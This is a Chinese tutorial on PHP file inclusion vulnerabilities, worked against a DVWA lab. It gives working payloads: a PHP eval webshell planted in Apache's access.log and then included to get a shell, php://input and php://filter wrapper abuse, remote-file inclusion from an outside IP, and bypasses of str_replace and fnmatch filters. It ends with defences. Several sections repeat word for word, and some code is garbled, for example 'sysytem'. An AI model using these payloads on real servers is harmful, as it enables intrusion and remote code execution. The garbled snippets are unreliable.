- 文件包含漏洞概述及分类
一、文件包含漏洞概述
1.什么是文件包含
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含。
2.文件包含漏洞产生原理
文件包含函数加载的参数没有经过过滤或严格定义,可以被用户控制,包含其他恶意文件,导致了执行非预期代码。
程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞
、文件包含漏洞类型
1.本地文件包含漏洞(LFI)
能够读取或执行包含本地文件的漏洞,称为本地文件包含漏洞。
包含服务器本身存在的恶意文件
a.txt
<?php
phpinfo();
?>
b.php
<?php
$b=$_GET['id'];
include($b);
?>
payload
localhost/b.php?id=a.txt //返回phpinfo页面
注:
两个文件在同一目录下(若不在同一目录这被包含的文件路径必须写绝对路径或相对路径)(相对路径./当前目录 ../上级目录)
被包含的页面的后缀无论是什么都会当做PHP解析
2.远程文件包含(RFI)
包含其他网站上的恶意文件
远程文件包含利用条件:在php.ini中allow_url_fopen=on、allow_url_include=on
payload:
localhost/b.php?id=http://ip/文件路径
注:远程包含的文件路径必须是绝对路径
三、常用的防御方式
设置白名单
代码在进行文件包含时,如果文件名可以确定,可以设置白名单对传入的参数进行比较。
过滤危险字符
由于Include/Require可以对PHP Wrapper形式的地址进行包含执行(需要配置php.ini),在 Linux环境中可以通过”../../”的形式进行目录绕过,所以需要判断文件名称是否为合法的PHP 文 件。
设置文件目录
PHP配置文件中有open_basedir选项可以设置用户需要执行的文件目录,如果设置目录的 话,PHP仅仅在该目录内搜索文件。
关闭危险配置
PHP配置中的allow_url_include选项如果打开,PHP会通过Include/Require进行远程文件包 含,由于远程文件的不可信任性及不确定性,在开发中禁止打开此选项,PHP默认是关闭的。
- 中间件日志包含绕过
什么是中间件日志包含绕过
当某个PHP文件只存在本地包含漏洞,不存在远程包含漏洞,而却无法上传正常文件(无上传功能),这就意味这有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵。
Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中
例如:http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=…/…/…/…/Apache-20\logs\access.log
使用的是DVWA环境 安全等级低
首先要把一句话木马写入到access.log访问日志中
直接在URL中加入一句话木马,回车,虽然会报错,但是没关系,我们的一句话木马已经被access文件记录了 之后只需要利用本地包含文件来运行access.log就可以了
注意要用…/来调整目录
二、中间件日志包含漏洞获取shell
1.中间件日志包含
我们在dvwa进行实验
将安全级别调为最低级
点击文件包含进行实验,复制网址
http://192.168.222.4/dvwa/vulnerabilities/fi/?page=include.php
当我们无法上传文件的时候,可以注入一句话木马,回溯到日志那里去获取shell
http://192.168.222.4/dvwa/<?php @eval($_POST['chopper']); ?>
http://192.168.222.4/dvwa%3C?php%20@eval($_POST[%27chopper%27]);%20?%3E
2.利用Apache日志获取shell
我们找到日志路径
D:\phpStudy\Apache\logs\access.log
清空日志文件后
打开注入的网址
http://192.168.222.4/dvwa/<?php @eval($_POST['chopper']); ?>
注入报错,正常,日志已经包含了一句话木马,这时我们主要回到日志目录下利用就可以了
我们修改一下后面文件
http://192.168.222.4/dvwa/vulnerabilities/fi/?page=include.php
回到apache目录,就是phpstudy的目录
回溯四级目录
http://192.168.222.4/dvwa/vulnerabilities/fi/?page=…/…/…/…/Apache/logs/access.log
复制到蚁剑连接
连接成功,获取shell成功。
这里补充一下php文件读写包含的内容
这里需要大家搭建好dvwa,将安全等级设为低级才行,我这里改不了,出现了一点问题,就不进行实验了,在以下目录下放入muma.php文件
D:\phpStudy\WWW\dvwa\vulnerabilities\fi
http://192.168.222.4/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=muma.php(读)
连接蚁剑获取shell
http://192.168.222.4/dvwa/vulnerabilities/fi/?page=php://input(写)
<?php @eval($_POST['chopper']); ?>(一句话木马)
需要利用burp抓包重发
只有在allow_url_include为on时才可以使用,查看回显结果那必须在php\php-5.4.45找到ini文件
查找display_funtions=proc-open,oppen,exec,system…删掉ssytem重启apache
利用成功后,输入代码
<?php sysytem('net user'); ?>(查看当前用户信息) <?php sysytem('netstat -an'); ?>(查看端口信息)
- PHP包含读写文件
PHP如何读取文件
PHP读取文件可以读取当前服务器或远程服务器中的文件。其步骤是:打开文件、读文件和关闭文件。
1,PHP如何打开文件
使用PHP函数fopen()打开一个文件,fopen()一般使用2个参数表示打开文件的路径和文件模式。比如:
$fp=fopen("../cnbruce.txt",'w');
其中 "../cnbruce.txt" 就表示打开的cnbruce.txt文件的路径(相对当前执行程序文件的路径),'w'表示以只写的方式打开该文本文件。
附录:fopen()函数的文件模式总结
r 只读——读模式,打开文件,从文件头开始读
r+ 可读可写方式打开文件,从文件头开始读写
w 只写——写方式打开文件,同时把该文件内容清空,把文件指针指向文件开始处。如果该文件已经存在,将删除文件已有内容;如果该文件不存在,则建立该文件
w+ 可读可写方式打开文件,同时把该文件内容清空,把文件指针指向文件开始处。如果该文件不存在,则建立该文件
a 追加 以只写方式打开文件,把文件指针指向文件末尾处。如果该文件不存在,则建立该文件
a+ 追加 以可读可写方式打开文件,把文件指针指向文件末尾处。如果该文件不存在,则建立该文件
b 二进制 用于于其他模式进行连接。建议使用该选项,以获得更大程度的可移植性
注意,如果fopen()函数调用失败,函数将返回false。否则返回指针数据。所以一般在打开了文件后\读写文件前需要检测下文件是否存在。
@ $fp=fopen("http://www.cnbruce.com/abc123",'w');
if (!$fp)
{
echo'文件不存在';
exit;
}
?>
其中@符号表示PHP将抑制所有由当前函数调用产生的错误。
- str._replace函数绕过
实验环境DVWA,安全性medium
有时程序员会使用str_replace函数进行防御,这个函数是极其不安全的,因为可以使用双写绕过替换规则轻松绕过
绕过方法
例如page=hthttp://tp://192.168.0.103/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.0.103/phpinfo.txt,成功执行远程命令。
同时,因为替换的只是“…/”、“…\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。
三个实例
1、本地文件包含
http://192.168.0.103/dvwa/vulnerabilities/fi/page=…/./…/./…/./…/./…/./…/./…/./…/./…/./…/./xampp/htdocs/dvwa/php.ini
2、绝对路径不受任何影响
http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini
3、远程文件包含
http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt
- 包含截断绕过、fnmatch函数绕过文件包含漏洞防范措施
包含截断绕过
防御代码
<?php
if(isset($_GET['page'])){
include $_GET['page'] .".php" ;
}else{
include 'home.php';
}
?>
判断参数是否赋值,假如赋值了,包含参数变量, 加.’’.php’'用来防御,如果没有复制,包含home.php
这种方法只适合于magic_quotes_gpc=off的时候,
php版本小于5.3.4,可通过%00截断绕过,不过现在已经很难见到了,比如:
index.php?file=info.txt//…………超过一定数据的/。
fnmatch函数绕过
DVWA安全等级高
代码解读
防御源码中最关键的一行
if(!fnmatch("file*",$file)&&$file!="include.php")
当文件既不是"include.php"(包含include.php文件)也不是"file*"(文件名file开头)时才抛出错误,反之意思,如果文件名符合其中一个条件既可以。
思路
第一个条件很难满足,所以我们的目光转移到达成第二个漏洞
page=file:///C:/xampp/htdocs/dvwa/php.ini 刚好满足"file*"(文件名file开头)
操作
构造url
http://192.168.0.103/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini
成功读取了服务器的配置文件
利用php的file协议
注意
在最新的DWVA新加了一个impossibol难度(没有漏洞)
让我们看看他是怎么写的
写法
if(!="include.php"&&$ file ! "file1.php" &&"file2.php")
- str._replace函数绕过
实验环境DVWA,安全性medium
有时程序员会使用str_replace函数进行防御,这个函数是极其不安全的,因为可以使用双写绕过替换规则轻松绕过
绕过方法
例如page=hthttp://tp://192.168.0.103/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.0.103/phpinfo.txt,成功执行远程命令。
同时,因为替换的只是“…/”、“…\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。
三个实例
1、本地文件包含
http://192.168.0.103/dvwa/vulnerabilities/fi/page=…/./…/./…/./…/./…/./…/./…/./…/./…/./…/./xampp/htdocs/dvwa/php.ini
2、绝对路径不受任何影响
http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini
3、远程文件包含
http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt
- 包含截断绕过、fnmatch函数绕过文件包含漏洞防范措施
设置白名单
代码在进行文件包含时,如果文件名可以确定,可以设置白名单对传入的参数进行比较。
过滤危险字符
由于Include/Require可以对PHP Wrapper形式的地址进行包含执行(需要配置php.ini),在Linux环境中可以通过”…/…/”的形式进行目录绕过,所以需要判断文件名称是否为合法的PHP文件。
设置文件目录(配置php.ini)
PHP配置文件中有open_basedir选项可以设置用户需要执行的文件目录,如果设置目录的话,PHP仅仅在该目录内搜索文件。
关闭危险配置(配置php.ini)
PHP配置中的allow_url_include选项如果打开,PHP会通过Include/Require进行远程文件包含,由于远程文件的不可信任性及不确定性,在开发中禁止打开此选项,PHP默认是关闭的。
总结
任意文件包含漏洞出现的主要原因是在能够解析处理脚本文件的函数上,没有对输入的变量进行过滤,导致任意文件包含,进而导致恶意代码执行。在开发处理这类功能函数上,一定要遵循编程规范;在代码核心处,对变量进行过滤限制,设置文件路径或者白名单,避免执行任意文件包含。
fnmatch函数绕过
DVWA安全等级高
代码解读
防御源码中最关键的一行
if(!fnmatch("file*",$file)&&$file!="include.php")
当文件既不是"include.php"(包含include.php文件)也不是"file*"(文件名file开头)时才抛出错误,反之意思,如果文件名符合其中一个条件既可以。
思路
第一个条件很难满足,所以我们的目光转移到达成第二个漏洞
page=file:///C:/xampp/htdocs/dvwa/php.ini 刚好满足"file*"(文件名file开头)
操作
构造url
http://192.168.0.103/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini
成功读取了服务器的配置文件
利用php的file协议
注意
在最新的DWVA新加了一个impossibol难度(没有漏洞)
让我们看看他是怎么写的
写法
if(!="include.php"&&$ file ! "file1.php" &&"file2.php")